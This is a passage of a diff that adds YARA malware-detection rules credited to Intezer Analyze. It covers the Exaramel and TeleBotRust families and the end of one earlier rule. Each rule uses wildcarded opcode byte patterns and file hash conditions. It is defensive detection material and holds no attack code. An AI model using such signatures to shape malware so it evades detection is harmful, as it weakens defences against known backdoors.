+		$block_15 = { 83 ?? ?? ?? 8D ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? 4? 89 ?? ?? 83 ?? ?? 0F 8C }
+		$block_16 = { A1 ?? ?? ?? ?? 8D ?? ?? 33 ?? ?? ?? ?? ?? 6A ?? 6A ?? 5? 6A ?? FF D? 83 ?? ?? 0F 84 }
+		$block_17 = { 8B ?? ?? 8D ?? ?? 5? 33 ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { A1 ?? ?? ?? ?? 8B ?? 33 ?? ?? ?? ?? ?? 5? FF D? 66 ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 84 }
+		$block_19 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 33 ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8A }
+		$block_20 = { 8B ?? ?? 33 ?? 2B ?? 99 C7 ?? ?? ?? ?? ?? ?? F7 ?? ?? 5? 89 ?? ?? B3 ?? 85 ?? 74 }
+		$block_21 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 33 ?? 5? 5? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8A }
+		$block_22 = { 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 82 }
+		$block_23 = { 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_24 = { 48 ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_25 = { A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_26 = { 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_27 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 84 ?? 75 }
+		$block_28 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 8B ?? 89 ?? ?? 5? 8B ?? 66 ?? ?? ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 8B ?? ?? 8B ?? 85 ?? 8D ?? ?? 0F 45 ?? 8B ?? ?? 8D ?? ?? 85 ?? 74 }
+		$block_30 = { 6A ?? 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_31 = { 81 E? ?? ?? ?? ?? 8B ?? 03 ?? 03 ?? 99 2B ?? ?? 83 ?? ?? 01 ?? 11 ?? ?? 8B }
+		$block_32 = { 0F B6 ?? 8D ?? ?? 33 ?? C1 ?? ?? 0F B6 ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_33 = { A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_34 = { 4? 8D ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 33 ?? 0F 1F }
+		$block_35 = { 48 ?? ?? ?? ?? 5? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? 49 ?? ?? ?? ?? 0F 82 }
+		$block_36 = { 8B ?? ?? 2B ?? 8B ?? ?? 3B ?? 89 ?? ?? 0F 47 ?? 8B ?? F7 ?? 3B ?? 76 }
+		$block_37 = { 5? 8D ?? ?? A5 A5 A5 A5 FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 33 ?? 8D }
+		$block_38 = { 8B ?? ?? 33 ?? 6A ?? 5? 89 ?? ?? 8B ?? ?? 2B ?? 99 F7 ?? 85 ?? 0F 84 }
+		$block_39 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_40 = { 8D ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 6A ?? 5? 8D ?? ?? ?? ?? ?? F3 ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 3B ?? 0F 82 }
+		$block_44 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_45 = { 4? 83 ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 82 }
+		$block_46 = { 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 2B ?? 0F 1F }
+		$block_47 = { 6A ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 0F 1F }
+		$block_48 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 3D ?? ?? ?? ?? 0F 83 }
+		$block_49 = { 8B ?? ?? 2B ?? 99 F7 ?? ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? 72 }
+		$block_50 = { 83 ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 43 ?? ?? 83 ?? ?? ?? 72 }
+		$block_51 = { A1 ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? FF D? 3B ?? ?? 0F 85 }
+		$block_52 = { 48 ?? ?? ?? ?? 5? 48 ?? ?? ?? 49 ?? ?? 4D ?? ?? 0F 84 }
+		$block_53 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 84 }
+		$block_54 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_55 = { 49 ?? ?? 48 ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? 0F 1F }
+		$block_56 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_57 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 84 ?? 0F 84 }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 ?? 8B }
+		$block_59 = { 8B ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? 3B ?? 0F 47 }
+		$block_60 = { 5? 5? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_61 = { 83 ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 }
+
+	condition:
+		hash.sha256(0, filesize) == "d174f0c6ded55eb315320750aaa3152fc241acbfaef662bf691ffd0080327ab9" or
+		hash.sha256(0, filesize) == "92ad1b7965d65bfef751cf6e4e8ad4837699165626e25131409d4134f031a497" or
+		hash.sha256(0, filesize) == "ff07c0b13d10db6f897526dd05041bf089b1b9b706833722480309b9b22e5040" or
+		12 of them
+}
+
+rule Exaramel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 8B ?? ?? 33 ?? 5? 8B ?? ?? 33 ?? 03 ?? 5? 8B ?? 2B ?? 3B ?? 8B ?? ?? 0F 47 ?? 85 ?? 74 }
+		$block_1 = { 8B ?? 8D ?? ?? 0F 10 ?? ?? 5? 83 ?? ?? 8B ?? 8B ?? 5? 0F 11 ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 78 }
+		$block_2 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 33 ?? 83 ?? ?? ?? 0F 94 ?? 89 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 33 ?? 5? 8B ?? 5? C3 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_5 = { FF 7? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? 83 ?? ?? 8D ?? ?? 83 ?? ?? 8D ?? ?? 89 ?? ?? 0F 1F }
+		$block_7 = { 8B ?? ?? 83 ?? ?? 0F 10 ?? ?? 8B ?? 8B ?? 5? 0F 11 ?? 8B ?? ?? ?? ?? ?? FF D? }
+		$block_8 = { FF 7? ?? FF D? 8B ?? 8B ?? 8B ?? ?? 33 ?? 8D ?? ?? 3B ?? 0F 47 ?? 85 ?? 74 }
+		$block_9 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 6A ?? 6A ?? 85 ?? 0F 84 }
+		$block_10 = { 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 44 }
+		$block_11 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 5? 8B ?? 8B ?? ?? 33 ?? 8B ?? ?? 66 ?? ?? 0F B7 ?? 83 ?? ?? 75 }
+		$block_14 = { 8B ?? ?? 0F B7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_15 = { 83 ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? 0F B7 ?? 66 ?? ?? 0F 84 }
+		$block_16 = { 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_17 = { 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_18 = { 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "2f12fd3fb35f8690eea80dd48de98660c55df7f5c26b49d0cc82aaf3635b0c7a" or
+		12 of them
+}
+
+rule TeleBotRust {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 86 }
+		$block_1 = { 8A ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 75 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
